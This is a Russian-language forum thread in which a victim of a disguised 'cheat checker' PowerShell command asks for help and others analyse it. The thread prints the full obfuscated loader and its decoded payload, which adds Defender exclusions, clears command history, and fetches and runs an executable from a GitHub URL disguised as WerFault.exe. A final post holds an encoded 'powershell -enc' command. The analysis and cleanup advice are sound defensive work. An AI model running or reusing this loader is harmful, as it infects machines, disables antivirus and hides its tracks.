Уроды сказали ввести команду в cmd, и получили удалённый доступ к компу. Что делать? Вот команда powershell irm "https://raw.githubusercontent.com/ByterCode/Checker/refs/heads/main/check | iex"
мамонт скачай system informer вкладка view -> hide signed processes покажи скрин также заверши все cmd.exe, conhost.exe, powershell.exe
Короче, там подгружается xworm, стучит на playit gg, что в принципе для нищих школьников бомжей не существенно
Скачай через телефон прогу, потом зайди в безопасный режим на компе, подключи телефон и перекинь прогу на комп Даже лучше скачай эту прогу " malwarebytes" она сразу должна помочь
кидает запрос на https://raw.githubusercontent.com/ByterCode/Checker/refs/heads/main/check там закодированный base64 с лишними нулями, просто так не посмотришь убираем нули: import base64 string = "CgAgACAAIAAgACAAIA..." without_zeros = "" decoded = base64.b64decode(string) for charcode in decoded: if charcode: without_zeros += chr(charcode) print(without_zeros) Python import base64 string = "CgAgACAAIAAgACAAIA..." without_zeros = "" decoded = base64.b64decode(string) for charcode in decoded: if charcode: without_zeros += chr(charcode) print(without_zeros) получаем $command = "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"; $command = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($command)); $command = "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"; $command = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($command)); $swappedDecoded = ''; $input = "$command"; for ($i = 0; $i -lt $input.Length; $i+=2) { if ($i+1 -lt $input.Length) { $swappedDecoded += $input[$i+1] + $input[$i]; } else { $swappedDecoded += $input[$i]; } } $command = $swappedDecoded; $caesarDecoded = ''; $shift = 3; $input = "$command"; for ($i = 0; $i -lt $input.Length; $i++) { $caesarDecoded += [char]([byte][char]$input[$i] - $shift); } $command = $caesarDecoded; $xorDecoded = ''; $key = 'xdwd'; $input = "$command"; for ($i = 0; $i -lt $input.Length; $i++) { $xorDecoded += [char]([byte][char]$input[$i] -bxor [byte][char]$key[$i % $key.Length]); } $command = $xorDecoded; $reversed = "$command"; $reversed = $reversed.ToCharArray(); [Array]::Reverse($reversed); $command = -join $reversed; $command = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("$command")); $command | . ( ([STRING]$vErboSeprefeReNCe)[1,3]+'x'-JoIn'') POWERSHELL $command = "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"; $command = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($command)); $command = "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"; $command = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($command)); $swappedDecoded = ''; $input = "$command"; for ($i = 0; $i -lt $input.Length; $i+=2) { if ($i+1 -lt $input.Length) { $swappedDecoded += $input[$i+1] + $input[$i]; } else { $swappedDecoded += $input[$i]; } } $command = $swappedDecoded; $caesarDecoded = ''; $shift = 3; $input = "$command"; for ($i = 0; $i -lt $input.Length; $i++) { $caesarDecoded += [char]([byte][char]$input[$i] - $shift); } $command = $caesarDecoded; $xorDecoded = ''; $key = 'xdwd'; $input = "$command"; for ($i = 0; $i -lt $input.Length; $i++) { $xorDecoded += [char]([byte][char]$input[$i] -bxor [byte][char]$key[$i % $key.Length]); } $command = $xorDecoded; $reversed = "$command"; $reversed = $reversed.ToCharArray(); [Array]::Reverse($reversed); $command = -join $reversed; $command = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("$command")); $command | . ( ([STRING]$vErboSeprefeReNCe)[1,3]+'x'-JoIn'') тут base64, перестановка символов, шифр цезаря, xor, переворот строки ещё раз base64 получаем Add-MpPreference -ExclusionProcess "powershell.exe" -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath "$env:TEMP" -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath "$env:SystemDrive\" -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath "$env:SystemDrive/" -ErrorAction SilentlyContinue Clear-History Remove-Item -Path (Join-Path $env:APPDATA "\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt") -ErrorAction SilentlyContinue Remove-Item -Path (Join-Path $env:USERPROFILE "\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt") -ErrorAction SilentlyContinue $outputFile = Join-Path "C:\Program Files\WindowsPowerShell" "WerFault.exe" Function Update-File { $url = "https://github.com/ByterCode/PowerShellExploit/raw/refs/heads/main/Checker.exe" $outputPath = $outputFile try { Invoke-WebRequest -Uri $url -OutFile $outputPath -ErrorAction Stop return $true } catch { Write-Host "Has ERROR Scanner" -ForegroundColor Red return $false } } if (Test-Path $outputFile) { Write-Host "Cheat Checker Starting..." -ForegroundColor Green Start-Process -FilePath $outputFile -NoNewWindow } else { Write-Host "Cheat Checker Starting...." -ForegroundColor Red if (Update-File) { Write-Host "Cheat Checker Scanned." -ForegroundColor Green Start-Process -FilePath $outputFile -NoNewWindow } else { Write-Host "Cheat Has Detected!!!" -ForegroundColor Red } } Clear-History POWERSHELL Add-MpPreference -ExclusionProcess "powershell.exe" -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath "$env:TEMP" -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath "$env:SystemDrive\" -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath "$env:SystemDrive/" -ErrorAction SilentlyContinue Clear-History Remove-Item -Path (Join-Path $env:APPDATA "\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt") -ErrorAction SilentlyContinue Remove-Item -Path (Join-Path $env:USERPROFILE "\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt") -ErrorAction SilentlyContinue $outputFile = Join-Path "C:\Program Files\WindowsPowerShell" "WerFault.exe" Function Update-File { $url = "https://github.com/ByterCode/PowerShellExploit/raw/refs/heads/main/Checker.exe" $outputPath = $outputFile try { Invoke-WebRequest -Uri $url -OutFile $outputPath -ErrorAction Stop return $true } catch { Write-Host "Has ERROR Scanner" -ForegroundColor Red return $false } } if (Test-Path $outputFile) { Write-Host "Cheat Checker Starting..." -ForegroundColor Green Start-Process -FilePath $outputFile -NoNewWindow } else { Write-Host "Cheat Checker Starting...." -ForegroundColor Red if (Update-File) { Write-Host "Cheat Checker Scanned." -ForegroundColor Green Start-Process -FilePath $outputFile -NoNewWindow } else { Write-Host "Cheat Has Detected!!!" -ForegroundColor Red } } Clear-History - сам малварь
ИроничныйЧёрт, powershell -enc CgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAQQBGAEgAUQBiAHYAWQAgAD0AIAAiAEkAMQBNADQASABSAFIAZwBNAG4AcABiAEkAQQB3AG4AUABoAHcAdwBlAGoASQBjAEgAQwBFAFoASwBSAGMASgBKAGkARQAxAFEAMwBGAGgATAB3AFYAQwBJAFQAUQAzAGMAZwAwAHkAQgBVAEkASwBCAEQAYwA9ACIAOwAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABBAEYASABRAGIAdgBZACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAEEARgBIAFEAYgB2AFkAKQApADsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAQQBGAEgAUQBiAHYAWQAgAD0AIAAiAEkAMQBNADQASABSAFIAZwBNAG4AcABiAEkAQQB3AG4AUABoAHcAdwBlAGoASQBjAEgAQwBFAFoASwBSAGMASgBKAGkARQAxAFEAMwBGAGgATAB3AFYAQwBJAFQAUQAzAGMAZwAwAHkAQgBVAEkASwBCAEQAYwA9ACIAOwAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAEEARgBIAFEAYgB2AFkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAQQBGAEgAUQBiAHYAWQApACkAOwAKACAAIAAgACAAIAAgACAAIAAgACAA